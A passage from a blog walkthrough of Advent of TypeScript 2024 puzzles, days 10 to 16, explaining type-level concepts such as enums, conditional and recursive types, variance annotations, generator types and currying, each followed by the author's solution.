<p><a target="_blank" href="https://www.typescriptlang.org/docs/handbook/enums.html">Enums</a> in TypeScript are a way to define a set of named constants, which can represent numeric or string values. By default, TypeScript enums are associated with numbers and auto-increment their values starting from <code>0</code>. For example:</p>
<pre><code class="lang-typescript"><span class="hljs-built_in">enum</span> Direction {
  Up, <span class="hljs-comment">// 0</span>
  Down, <span class="hljs-comment">// 1</span>
  Left, <span class="hljs-comment">// 2</span>
  Right, <span class="hljs-comment">// 3</span>
}
</code></pre>
<p>The numbers assigned to the enum members can be explicitly defined, allowing you to customize the values or skip certain numbers. Once a value is assigned to an enum member, the subsequent members continue auto-incrementing from that value:</p>
<pre><code class="lang-typescript"><span class="hljs-built_in">enum</span> Direction {
  Up = <span class="hljs-number">10</span>, <span class="hljs-comment">// 10</span>
  Down, <span class="hljs-comment">// 11</span>
  Left = <span class="hljs-number">20</span>, <span class="hljs-comment">// 20</span>
  Right, <span class="hljs-comment">// 21</span>
}
</code></pre>
<p>You can also explicitly assign numbers to every member:</p>
<pre><code class="lang-typescript"><span class="hljs-built_in">enum</span> StatusCode {
  OK = <span class="hljs-number">200</span>,
  BadRequest = <span class="hljs-number">400</span>,
  NotFound = <span class="hljs-number">404</span>,
}
</code></pre>
<p>You can access both the name and the number, as enums in TypeScript support reverse mapping:</p>
<pre><code class="lang-typescript"><span class="hljs-built_in">console</span>.log(StatusCode.OK); <span class="hljs-comment">// 200</span>
<span class="hljs-built_in">console</span>.log(StatusCode[<span class="hljs-number">200</span>]); <span class="hljs-comment">// "OK"</span>
</code></pre>
<p>Enums can be changed or extended by assigning new numbers or values during their declaration. This flexibility makes them a powerful feature in TypeScript for managing sets of related constants.</p>
<h3 id="heading-solution-9">Solution</h3>
<p>Well, the first thought is to create a simple enum with the required mappings, something like:</p>
<pre><code class="lang-typescript"><span class="hljs-built_in">enum</span> Gift {
  Coal,
  Train,
  Bicycle,
  Traditional,
  SuccessorToTheNintendoSwitch,
  TikTokPremium = <span class="hljs-number">8</span>,
  Vape = <span class="hljs-number">16</span>,
  OnTheMove = <span class="hljs-number">26</span>,
  OnTheCouch = <span class="hljs-number">28</span>,
}
</code></pre>
<p>The same would satisfy all the constraints, but upon submitting, you get an error message about using invalid characters like <code>6</code>, <code>7</code>, <code>9</code>, etc. Looking at the note in the problem statement, we find the large note about NOT trying to copy the enum values from the problem statement. After looking at the huge hint, we do realize that we can make use of binary operators to solve the problem:</p>
<pre><code class="lang-typescript"><span class="hljs-built_in">enum</span> Gift {
  Coal,
  Train,
  Bicycle,
  Traditional,
  SuccessorToTheNintendoSwitch,
  TikTokPremium = SuccessorToTheNintendoSwitch &lt;&lt; <span class="hljs-number">1</span>,
  Vape = TikTokPremium &lt;&lt; <span class="hljs-number">1</span>,
  OnTheMove = Vape | TikTokPremium | Bicycle,
  OnTheCouch = Coal | TikTokPremium | Vape | SuccessorToTheNintendoSwitch,
}
</code></pre>
<hr />
<h2 id="heading-day-11httpswwwadventoftscomevents202411"><a target="_blank" href="https://www.adventofts.com/events/2024/11">Day 11</a></h2>
<p>The <code>new</code> keyword is used in JavaScript to call the constructors of any object in the object. You can also extend this concept to TypeScript, use the <code>new</code> keyword to create instances of classes and provide the required type definitions to the class's constructor.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Gift = {
  name: <span class="hljs-built_in">string</span>;
  price: <span class="hljs-built_in">number</span>;
};

<span class="hljs-keyword">type</span> GiftConstructor = <span class="hljs-keyword">new</span> (name: <span class="hljs-built_in">string</span>, price: <span class="hljs-built_in">number</span>) =&gt; Gift;
</code></pre>
<p>You might also need to learn about <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/conditional-types.html">conditional types</a> to solve the problem. Conditional types are a powerful feature of TypeScript that allows you to define types based on a condition. This is useful when you want to create a type that depends on another type's value and helps ensure the type system is flexible and can adapt to different situations.</p>
<p>Looping over the keys of an object can be done using the <code>keyof</code> operator, which returns a union of the object's keys. You can then access and perform operations on the object's properties using this union. It would also help to know about <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/template-literal-types.html">template literals</a> to solve the problem.</p>
<p>PS. This is the beginning of the actual "hard" part of the Advent of TypeScript, and the problems scale very quickly from this onwards. The solutions use many advanced TypeScript features and would probably not strike you if you see them for the first time. Please do not get demotivated, and you can try solving the other <a target="_blank" href="https://typehero.dev/">TypeHero</a> challenges to get a better hang of such problem-solving patterns.</p>
<h3 id="heading-solution-10">Solution</h3>
<p>First, let us read through the provided tests and try to reason about what is happening. After a couple of glances, we realize that, indeed, the type <code>Excuse</code> is a constructor type in which we can pass any object with a key value, and then the final returned object from the constructor is a string of the form <code>${key}: ${value}.</code> We can break the solution into multiple parts and solve it piecewise:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> StringRecord = Record&lt;<span class="hljs-built_in">string</span>, <span class="hljs-built_in">string</span>&gt;;

<span class="hljs-keyword">type</span> Stringify&lt;T <span class="hljs-keyword">extends</span> StringRecord&gt; =
  <span class="hljs-string">`<span class="hljs-subst">${keyof T <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span> ? keyof T : <span class="hljs-string">""</span>}</span>: <span class="hljs-subst">${T[keyof T]}</span>`</span>;

<span class="hljs-keyword">type</span> Excuse&lt;T <span class="hljs-keyword">extends</span> StringRecord&gt; = <span class="hljs-keyword">new</span> (obj: T) =&gt; Stringify&lt;T&gt;;
</code></pre>
<ol>
<li><p>First, we need to define a type guard that only allows the objects with both strings as keys and values. For this, we use the utility type <code>Record</code> provided by TypeScript and create the type <code>StringRecord</code> that only allows objects with string keys and string values.</p>
</li>
<li><p>Next, we work on defining the <code>Stringify</code> type, which accepts a "string" object and then converts it to the appropriate <code>${key}: ${value}</code> format. We make use of the template literal types to achieve the same.</p>
<ul>
<li>The <code>keyof T</code> would return us a union of the object's keys, and we can then use that to access the object's properties as <code>T[keyof T]</code>.</li>
<li>The union CAN contain multiple keys (as we are not restricting the same), but we can be sure that the tests only pass objects with a single key-value pair, so we can safely assume that the union would only contain a single key, and we can access the keys and values as above.</li>
<li>Thus, the template literal should be of the form <code>${keyof T}: ${T[keyof T]}</code>, but because the <code>keyof T</code> can contain types such as <code>symbol</code> and <code>undefined</code>, we need to ensure that we only consider the string keys. Thus, we use the conditional operator to check if the key is a string, and then we use the key and value to form the template literal.</li>
<li>Thus, the final type would be the form <code>${keyof T extends string ? keyof T : ""}: ${T[keyof T]}</code>.</li>
</ul>
</li>
<li><p>In the last step, we define the <code>Excuse</code> type, a constructor type that accepts an object of type <code>T</code> and returns a string of the form <code>${key}: ${value}</code>. We make use of the <code>Stringify</code> type to ensure that the object passed to the constructor is of the correct type.</p>
</li>
</ol>
<hr />
<h2 id="heading-day-12httpswwwadventoftscomevents202412"><a target="_blank" href="https://www.adventofts.com/events/2024/12">Day 12</a></h2>
<p>Using recursion in types is a powerful feature of TypeScript that allows you to define types that depend on themselves.</p>
<p>Let us try to solve a simple problem. Suppose we have a type representing a list of strings like <code>["Alice", "Bob", "Charlie"]</code>, and you want to create a type that reverses the order of the list so that it becomes <code>["Charlie", "Bob", "Alice"]</code>. You can use recursion to define a type that takes the first element of the list, appends it to the end of the reversed list, and then calls itself with the rest. For this, it is common to use variables like <code>Accumulator</code> and <code>Rest</code> to keep track of the reversed list and the remaining list, respectively, and to use the <code>infer</code> keyword to infer the type of the first element of the list. TypeScript also supports destructuring of array types using the <code>...</code> operator and the concept of default type arguments.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Reverse&lt;T <span class="hljs-keyword">extends</span> <span class="hljs-built_in">any</span>[], Accumulator <span class="hljs-keyword">extends</span> <span class="hljs-built_in">any</span>[] = []&gt; = T <span class="hljs-keyword">extends</span> [
  infer Head,
  ...infer Rest,
]
  ? Reverse&lt;Rest, [Head, ...Accumulator]&gt;
  : Accumulator;

<span class="hljs-keyword">type</span> Original = [<span class="hljs-string">"Alice"</span>, <span class="hljs-string">"Bob"</span>, <span class="hljs-string">"Charlie"</span>];
<span class="hljs-keyword">type</span> Reversed = Reverse&lt;Original&gt;; <span class="hljs-comment">// ["Charlie", "Bob", "Alice"]</span>
</code></pre>
<p>This is a common recursive pattern! I would highly encourage you to first test out this recursive pattern on your own for today's problem (without seeing the hint) and then try thinking if the same can be improved upon to work with the humongous input provided in this day's tests!</p>
<h3 id="heading-solution-11">Solution</h3>
<p>Today's solution is a bit longer and has multiple moving parts. I have tried to break them into smaller parts and combine them to form the final solution.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Rating = <span class="hljs-string">"naughty"</span> | <span class="hljs-string">"nice"</span>;
<span class="hljs-keyword">type</span> FlipRating&lt;Cur <span class="hljs-keyword">extends</span> Rating&gt; = Cur <span class="hljs-keyword">extends</span> <span class="hljs-string">"naughty"</span>
  ? <span class="hljs-string">"nice"</span>
  : <span class="hljs-string">"naughty"</span>;

<span class="hljs-keyword">type</span> NaughtyOrNice&lt;
  S <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>,
  Ty <span class="hljs-keyword">extends</span> Rating = <span class="hljs-string">"naughty"</span>,
&gt; = S <span class="hljs-keyword">extends</span> <span class="hljs-string">`<span class="hljs-subst">${infer _}</span><span class="hljs-subst">${infer Rest}</span>`</span>
  ? NaughtyOrNice&lt;Rest, FlipRating&lt;Ty&gt;&gt;
  : Ty;

<span class="hljs-keyword">type</span> ConvertToNum&lt;S <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; = S <span class="hljs-keyword">extends</span> <span class="hljs-string">`<span class="hljs-subst">${infer Num <span class="hljs-keyword">extends</span> <span class="hljs-built_in">number</span>}</span>`</span>
  ? Num
  : <span class="hljs-built_in">never</span>;

<span class="hljs-keyword">type</span> ObjectFromArray&lt;Arr <span class="hljs-keyword">extends</span> [<span class="hljs-built_in">string</span>, <span class="hljs-built_in">string</span>, <span class="hljs-built_in">string</span>]&gt; = {
  name: Arr[<span class="hljs-number">0</span>];
  count: ConvertToNum&lt;Arr[<span class="hljs-number">2</span>]&gt;;
  rating: NaughtyOrNice&lt;Arr[<span class="hljs-number">0</span>]&gt;;
};
</code></pre>
<p>In the above utility types:</p>
<ul>
<li><code>Rating</code> is a simple union type that can take the values "naughty" or "nice".</li>
<li><code>FlipRating</code> is a utility type that flips the value of the <code>Rating</code> type. If the input is "naughty", it returns "nice", and vice versa.</li>
<li><code>NaughtyOrNice</code> is a recursive utility type that takes a string and returns the rating of the string. It does so by iterating over the string and flipping the value of the <code>Ty</code> type for each character in the string.</li>
<li><code>ConvertToNum</code> is a utility type that converts a string to a number. It does so by checking if the string can be converted to a number, and if so, returns the number. If not, it returns <code>never</code>. We cleverly use the template literal types along with type constraints on the same to achieve this.</li>
<li><code>ObjectFromArray</code> is a utility type that takes an array of strings and returns an object with the name, count, and rating properties. It does so by extracting the elements of the array and converting them to the appropriate types.</li>
</ul>
<p>Now, with all these utility types in place, we can define the final type to iterate over the provided array and convert it to the required array of objects:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> FormatNames&lt;
  Arr <span class="hljs-keyword">extends</span> [<span class="hljs-built_in">string</span>, <span class="hljs-built_in">string</span>, <span class="hljs-built_in">string</span>][],
  Acc <span class="hljs-keyword">extends</span> <span class="hljs-built_in">any</span>[] = [],
&gt; = Arr <span class="hljs-keyword">extends</span> [
  infer Curr <span class="hljs-keyword">extends</span> [<span class="hljs-built_in">string</span>, <span class="hljs-built_in">string</span>, <span class="hljs-built_in">string</span>],
  ...infer Rest <span class="hljs-keyword">extends</span> [<span class="hljs-built_in">string</span>, <span class="hljs-built_in">string</span>, <span class="hljs-built_in">string</span>][],
]
  ? FormatNames&lt;Rest, [...Acc, ObjectFromArray&lt;Curr&gt;]&gt;
  : Acc;
</code></pre>
<p>But, no surprise, the same does not work due to the large nature of the provided input, and we get the error of infinite possible nesting. To solve the same, we need to figure out a non-recursive way of looping over the array, and this is where <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/indexed-access-types.html">indexed types</a> come into play (yes, they can be used to work with arrays as well!). We can make use of the <code>keyof</code> operator to iterate over the keys of the array (with would be the indexes associated with the elements), and then access the actual values as <code>Arr[K]</code> where <code>K</code> is the index (key). The actual solution would look something like:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> FormatNames&lt;Arr <span class="hljs-keyword">extends</span> [<span class="hljs-built_in">string</span>, <span class="hljs-built_in">string</span>, <span class="hljs-built_in">string</span>][]&gt; = {
  [K <span class="hljs-keyword">in</span> keyof Arr]: ObjectFromArray&lt;Arr[K]&gt;;
};
</code></pre>
<p>This was indeed a lengthy day, but after this day, you should feel comfortable with all the common techniques and tricks that are used in what is effectively "advanced" TypeScript problem-solving.</p>
<p>PS. All the code I have shown you today can be compressed and typed in way fewer keystrokes (by inlining the types and removing some type constraints with <code>extends</code>), but I have tried to keep the code as verbose as possible to make it easier to understand. You can try to compress the code and see how much you can reduce the number of lines and characters in the code!</p>
<hr />
<h2 id="heading-day-13httpswwwadventoftscomevents202413"><a target="_blank" href="https://www.adventofts.com/events/2024/13">Day 13</a></h2>
<p>In TypeScript, variance describes how types relate to each other, particularly in generic types and function parameters.</p>
<ul>
<li>Covariant types allow substituting a more specific (subtype) type for a more general (supertype) type. For instance, arrays in TypeScript are covariant: <code>string[]</code> can safely be assigned to <code>readonly (string | number)[]</code> because <code>string</code> is a subtype of <code>string | number</code>.</li>
<li>Contravariant types, however, allow substituting a more general type for a more specific one. Function parameters in TypeScript are contravariant under strict function checks: a function expecting a general parameter type can accept a function with a specific parameter type.</li>
<li>Bivariant types allow both directions: more general or specific types can be substituted. This happens, for example, in event listeners or function parameters without strict function types enabled.</li>
<li>Invariant types do not allow substitution in either direction. TypeScript's generics default to invariant, meaning you cannot assign <code>Foo&lt;SubType&gt;</code> to <code>Foo&lt;SuperType&gt;</code> or vice versa without explicit variance.</li>
</ul>
<p>To ensure type safety, these distinctions matter when working with generic constraints, function types, and array-like structures. You can read about the same in detail <a target="_blank" href="https://www.sandromaglione.com/articles/covariant-contravariant-and-invariant-in-typescript">here</a> and see how their implementations can be realized practically. The <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/2/generics.html#variance-annotations">variance annotations section from the official documentation</a> might also be a good reference for solving today's problem.</p>
<h3 id="heading-solution-12">Solution</h3>
<p>The generic of <code>Demand</code> needs to be invariant to any types passed to it (it doesn't accept any more specific or vague types). We can use the <code>out</code> keyword so that only anything more specific can be passed to <code>T</code>, and the <code>in</code> keyword so that only anything more general can be passed to <code>T</code>.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Demand&lt;<span class="hljs-keyword">in</span> out T&gt; = {
  demand: T;
};
</code></pre>
<p>PS. This solution is exactly what the official documentation says you SHOULD NOT do! I couldn't figure out a better solution, and the provided tests were not very helpful in this case. If you have a better solution, do let me know!</p>
<hr />
<h2 id="heading-day-14httpswwwadventoftscomevents202414"><a target="_blank" href="https://www.adventofts.com/events/2024/14">Day 14</a></h2>
<p>In TypeScript, generators, and async generators have specialized type annotations to describe their input, output, and return types.</p>
<p>A generator function returns an iterator and uses the <code>Generator</code> type:</p>
<pre><code class="lang-typescript"><span class="hljs-function"><span class="hljs-keyword">function</span>* <span class="hljs-title">generatorFunc</span>(<span class="hljs-params"></span>): <span class="hljs-title">Generator</span>&lt;<span class="hljs-title">number</span>, <span class="hljs-title">string</span>, <span class="hljs-title">void</span>&gt; </span>{
  <span class="hljs-keyword">yield</span> <span class="hljs-number">1</span>;
  <span class="hljs-keyword">yield</span> <span class="hljs-number">2</span>;
  <span class="hljs-keyword">return</span> <span class="hljs-string">"Done"</span>; <span class="hljs-comment">// Return type: string</span>
}

<span class="hljs-keyword">const</span> gen = generatorFunc();
<span class="hljs-built_in">console</span>.log(gen.next()); <span class="hljs-comment">// { value: 1, done: false }</span>
<span class="hljs-built_in">console</span>.log(gen.return()); <span class="hljs-comment">// { value: "Done", done: true }</span>
</code></pre>
<p>Here, <code>Generator&lt;Y, R, N&gt;</code> represents:</p>
<ul>
<li><code>Y</code>: Type of values yielded (e.g., <code>number</code>).</li>
<li><code>R</code>: Return type when the generator is done (e.g., <code>string</code>).</li>
<li><code>N</code>: Type of values passed to <code>next()</code> (e.g., <code>void</code> since there is no input).</li>
</ul>
<p>An async generator works similarly but returns an asynchronous iterator using the <code>AsyncGenerator</code> type:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span>* <span class="hljs-title">asyncGenFunc</span>(<span class="hljs-params"></span>): <span class="hljs-title">AsyncGenerator</span>&lt;<span class="hljs-title">number</span>, <span class="hljs-title">void</span>, <span class="hljs-title">string</span>&gt; </span>{
  <span class="hljs-keyword">const</span> input = <span class="hljs-keyword">yield</span> <span class="hljs-number">1</span>; <span class="hljs-comment">// Input type: string</span>
  <span class="hljs-built_in">console</span>.log(input); <span class="hljs-comment">// Logs input passed to `next()`</span>
  <span class="hljs-keyword">yield</span> <span class="hljs-number">2</span>; <span class="hljs-comment">// Output type: number</span>
}

(<span class="hljs-keyword">async</span> () =&gt; {
  <span class="hljs-keyword">const</span> asyncGen = asyncGenFunc();
  <span class="hljs-built_in">console</span>.log(<span class="hljs-keyword">await</span> asyncGen.next()); <span class="hljs-comment">// { value: 1, done: false }</span>
  <span class="hljs-built_in">console</span>.log(<span class="hljs-keyword">await</span> asyncGen.next(<span class="hljs-string">"Hello"</span>)); <span class="hljs-comment">// Logs "Hello", then { value: 2, done: false }</span>
})();
</code></pre>
<p>Equipped with this knowledge, you can now try to solve today's problem!</p>
<h3 id="heading-solution-13">Solution</h3>
<p>Today's challenge is easier than the previous ones, and it can be solved by studying the provided tests. In the tests, we use the <code>ReturnType</code> utility type to extract the return type of the provided generator function, which is equivalent to the <code>R</code> type in the <code>Generator</code> type.</p>
<p>Thus a simple <code>infer</code> and <code>extends</code> can be used to extract the return type of the generator function:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> PerfReview&lt;T&gt; =
  T <span class="hljs-keyword">extends</span> AsyncGenerator&lt;infer R, infer _, infer _&gt; ? R : <span class="hljs-built_in">never</span>;
</code></pre>
<hr />
<h2 id="heading-day-15httpswwwadventoftscomevents202415"><a target="_blank" href="https://www.adventofts.com/events/2024/15">Day 15</a></h2>
<p>TypeScript provides no method to work with numbers and basic arithmetic. However, we can use the length of arrays/tuples to perform basic arithmetic operations. For example, to add two numbers, you can create an array of the length of the first number and then concatenate it with an array of the length of the second number. The length of the resulting array will be the sum of the two numbers.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Arr&lt;Len <span class="hljs-keyword">extends</span> <span class="hljs-built_in">number</span>, Acc <span class="hljs-keyword">extends</span> <span class="hljs-built_in">any</span>[] = []&gt; = Acc[<span class="hljs-string">"length"</span>] <span class="hljs-keyword">extends</span> Len
  ? Acc
  : Arr&lt;Len, [...Acc, <span class="hljs-number">0</span>]&gt;;

<span class="hljs-keyword">type</span> Add&lt;A <span class="hljs-keyword">extends</span> <span class="hljs-built_in">number</span>, B <span class="hljs-keyword">extends</span> <span class="hljs-built_in">number</span>&gt; = [...Arr&lt;A&gt;, ...Arr&lt;B&gt;][<span class="hljs-string">"length"</span>];
</code></pre>
<p>Here the type <code>Arr</code> is a utility type that creates an array of the specified length, and the type <code>Add</code> is a utility type that adds two numbers by creating arrays of the specified lengths and concatenating them.</p>
<p>You can also use this technique to perform other arithmetic operations and get creative.</p>
<h3 id="heading-solution-14">Solution</h3>
<p>The solution is a bit more complex than the previous ones but is easy to implement once you get the hang of the same:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Process&lt;
  Inp <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>,
  ParsingDashes <span class="hljs-keyword">extends</span> <span class="hljs-built_in">boolean</span> = <span class="hljs-literal">true</span>,
  CurName <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span> = <span class="hljs-string">""</span>,
  CurDashArr <span class="hljs-keyword">extends</span> <span class="hljs-built_in">any</span>[] = [],
&gt; = Inp <span class="hljs-keyword">extends</span> <span class="hljs-string">`<span class="hljs-subst">${infer First}</span><span class="hljs-subst">${infer Rest}</span>`</span>
  ? First <span class="hljs-keyword">extends</span> <span class="hljs-string">"-"</span>
    ? ParsingDashes <span class="hljs-keyword">extends</span> <span class="hljs-literal">true</span>
      ? Process&lt;Rest, <span class="hljs-literal">true</span>, CurName, [...CurDashArr, <span class="hljs-number">1</span>]&gt;
      : [[CurName, CurDashArr[<span class="hljs-string">"length"</span>]], ...Process&lt;Inp, <span class="hljs-literal">true</span>&gt;]
    : Process&lt;Rest, <span class="hljs-literal">false</span>, <span class="hljs-string">`<span class="hljs-subst">${CurName}</span><span class="hljs-subst">${First}</span>`</span>, CurDashArr&gt;
  : [[CurName, CurDashArr[<span class="hljs-string">"length"</span>]]];

<span class="hljs-keyword">type</span> TrimLeft&lt;
  Str <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>,
  Char <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>,
&gt; = Str <span class="hljs-keyword">extends</span> <span class="hljs-string">`<span class="hljs-subst">${Char}</span><span class="hljs-subst">${infer Tail}</span>`</span> ? TrimLeft&lt;Tail, Char&gt; : Str;

<span class="hljs-keyword">type</span> TrimRight&lt;
  Str <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>,
  Char <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>,
&gt; = Str <span class="hljs-keyword">extends</span> <span class="hljs-string">`<span class="hljs-subst">${infer Head}</span><span class="hljs-subst">${Char}</span>`</span> ? TrimRight&lt;Head, Char&gt; : Str;

<span class="hljs-keyword">type</span> Trim&lt;Str <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>, Char <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; = TrimLeft&lt;
  TrimRight&lt;Str, Char&gt;,
  Char
&gt;;

<span class="hljs-keyword">type</span> GetRoute&lt;S <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span>&gt; =
  Trim&lt;S, <span class="hljs-string">"-"</span>&gt; <span class="hljs-keyword">extends</span> <span class="hljs-string">""</span> ? [] : Process&lt;Trim&lt;S, <span class="hljs-string">"-"</span>&gt;&gt;;
</code></pre>
<p>The main crux of the solution is in the <code>Process</code> type, which takes the input string and processes it to extract the route and the number of dashes in the route. As each string is supposed to be of the type <code>A--B--C--D</code>, we wish to divide it into segments of the form <code>A</code>, <code>--B</code>, <code>--C</code>, <code>--D</code>. We do this by maintaining the following state variables:</p>
<ul>
<li><code>Inp</code>: The input string that we are processing.</li>
<li><code>ParsingDashes</code>: A boolean that tells us if we are currently parsing the dashes or the actual route name. This is set to <code>true</code> initially, assuming that the first location, <code>A</code>, would not have any dashes.</li>
<li><code>CurName</code>: The current route name that we are parsing.</li>
<li><code>CurDashArr</code>: An array that keeps track of the number of dashes in each route name.</li>
</ul>
<p>The type then iterates over the input string, dividing it into two parts: <code>First</code> representing the first character of the string and <code>Rest</code> representing the rest. If the first character is a dash, and we are currently parsing the dashes, we add the dash to the <code>CurDashArr</code>, otherwise it means that we have reached the end of a route segment (of the form <code>---B</code>) and thus we add the current route name and the number of dashes to the result array and start parsing the next route name. If the first character is not a dash, we add it to the <code>CurName</code> and continue parsing the route name.</p>
<p>The <code>TrimLeft</code>, <code>TrimRight</code>, and <code>Trim</code> types are utility types that trim the input string from the left, right, and both sides, respectively. This removes any leading or trailing dashes from the input string. These are necessary to handle edge cases like <code>---A--</code> or <code>----</code> that might be present in some of the test cases. Finally, the <code>GetRoute</code> type is a utility type that takes the input string and first trims it to remove the troublesome leading and trailing dashes and then processes it to extract the route and the number of dashes in each route name.</p>
<hr />
<h2 id="heading-day-16httpswwwadventoftscomevents202416"><a target="_blank" href="https://www.adventofts.com/events/2024/16">Day 16</a></h2>
<p>Currying is a technique in functional programming where a function with multiple arguments is transformed into a sequence of functions, each taking a single argument. This allows you to partially apply the function by passing some of the arguments and then apply the remaining arguments later. This way, you can create new functions by combining existing functions and build more complex functions from simpler ones.</p>
<p>In TypeScript, you can use generic and conditional types to create a curried function that takes multiple arguments and returns a sequence of functions. You can then use these functions to build more complex functions by combining them with other functions.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Curry&lt;T <span class="hljs-keyword">extends</span> <span class="hljs-built_in">any</span>[], R&gt; = T <span class="hljs-keyword">extends</span> [infer F, ...infer Rest]
  ? <span class="hljs-function">(<span class="hljs-params">arg: F</span>) =&gt;</span> Curry&lt;Rest, R&gt;
  : R;
</code></pre>
<p>Here, the <code>Curry</code> type is a utility type that takes an array of arguments <code>T</code> and a return type <code>R</code>, and returns a function sequence that takes the arguments individually and returns the final result. The type uses conditional types to recursively build the sequence of functions and the <code>infer</code> keyword to infer the types of the arguments and the return type. This type applies one argument at a time and returns a new function that takes the next argument until all the arguments have been applied and the final result is returned.</p>
<p>A simple implementation of a curried function that can add three numbers may be done as follows:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> AddThreeIntegers = Curry&lt;[<span class="hljs-built_in">number</span>, <span class="hljs-built_in">number</span>, <span class="hljs-built_in">number</span>], <span class="hljs-built_in">number</span>&gt;;

<span class="hljs-keyword">const</span> addThree: AddThreeIntegers = <span class="hljs-function">(<span class="hljs-params">a</span>) =&gt;</span> (b) =&gt; <span class="hljs-function">(<span class="hljs-params">c</span>) =&gt;</span> a + b + c;

<span class="hljs-keyword">const</span> add1 = addThree(<span class="hljs-number">1</span>); <span class="hljs-comment">// (b) =&gt; (c) =&gt; 1 + b + c</span>
<span class="hljs-keyword">const</span> add1And2 = add1(<span class="hljs-number">2</span>); <span class="hljs-comment">// (c) =&gt; 1 + 2 + c</span>
<span class="hljs-keyword">const</span> result = add1And2(<span class="hljs-number">3</span>); <span class="hljs-comment">// 1 + 2 + 3 = 6</span>

<span class="hljs-built_in">console</span>.log(result); <span class="hljs-comment">// Output: 6</span>
<span class="hljs-built_in">console</span>.log(addThree(<span class="hljs-number">1</span>)(<span class="hljs-number">2</span>)(<span class="hljs-number">3</span>)); <span class="hljs-comment">// Output: 6</span>

<span class="hljs-comment">// @ts-expect-error - Too few arguments</span>
addThree(<span class="hljs-number">1</span>)();
<span class="hljs-comment">// @ts-expect-error - Incorrect argument type</span>
addThree(<span class="hljs-number">1</span>)(<span class="hljs-string">"two"</span>);
<span class="hljs-comment">// @ts-expect-error - Too many arguments</span>
addThree(<span class="hljs-number">1</span>)(<span class="hljs-number">2</span>, <span class="hljs-number">3</span>);
</code></pre>
<p>Can you use this technique to solve today's problem? (Hint: The number of arguments you apply in each step is not fixed and can vary based on the input. Thus, you might need to define a union of all possible invocations!).</p>
<h3 id="heading-solution-15">Solution</h3>
<p>This is one of the days where seeing the solution first and then trying to reason about it might be a better approach.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> Curry&lt;Args <span class="hljs-keyword">extends</span> unknown[], Return&gt; = {
  &lt;Provided <span class="hljs-keyword">extends</span> unknown[]&gt;(
    ...args: Provided
  ): Provided <span class="hljs-keyword">extends</span> Args
    ? Return
    : Args <span class="hljs-keyword">extends</span> [...Provided, ...infer Remaining]
      ? Curry&lt;Remaining, Return&gt;
      : <span class="hljs-built_in">never</span>;
};

<span class="hljs-keyword">declare</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">DynamicParamsCurrying</span>&lt;<span class="hljs-title">Args</span> <span class="hljs-title">extends</span> <span class="hljs-title">unknown</span>[], <span class="hljs-title">Ret</span>&gt;(<span class="hljs-params">
  fn: (...args: Args) =&gt; Ret,
</span>): <span class="hljs-title">Curry</span>&lt;<span class="hljs-title">Args</span>, <span class="hljs-title">Ret</span>&gt;</span>;
</code></pre>
<p>As you can see here, the definition of the <code>Curry</code> type has been modified to be a type union:</p>
<ul>
<li>In line 2, we define a function signature whose arguments are of the type <code>Provided</code> (where <code>Provided</code> is generic with respect to the current function call).</li>
<li>In line 4, we check if the <code>Provided</code> arguments match the <code>Args</code> type. If they do, we return the <code>Return</code> type as we can be sure that the complete set of arguments has been provided.</li>
<li>If not, in line 6, we check if the <code>Args</code> type can be split into the <code>Provided</code> and the <code>Remaining</code> arguments. If it can, we return a new <code>Curry</code> type with the <code>Remaining</code> arguments and the <code>Return</code> type.</li>
</ul>
<p>This clever use of conditional types, recursion, and generics to define a currying function can enumerate all possible invocations and return the final result when all the arguments have been provided.</p>
<p>Finally, we provide the <code>DynamicParamsCurrying</code> function that takes a function and returns a curried version of the function. This function uses the <code>Curry</code> type to define the curried version of the function and can be used to curry any function with any number of arguments.</p>
<p>You can also use the <code>Parameters</code> and <code>ReturnType</code> utility types to extract the parameters and return type of the function!</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">declare</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">DynamicParamsCurrying</span>&lt;<span class="hljs-title">Fn</span> <span class="hljs-title">extends</span> (<span class="hljs-params">...args: <span class="hljs-built_in">any</span>[]</span>) =&gt; <span class="hljs-title">any</span>&gt;(<span class="hljs-params">
  fn: Fn,
</span>): <span class="hljs-title">Curry</span>&lt;<span class="hljs-title">Parameters</span>&lt;<span class="hljs-title">Fn</span>&gt;, <span class="hljs-title">ReturnType</span>&lt;<span class="hljs-title">Fn</span>&gt;&gt;</span>;
</code></pre>
<hr />
<h2 id="heading-day-17httpswwwadventoftscomevents202417"><a target="_blank" href="https://www.adventofts.com/events/2024/17">Day 17</a></h2>
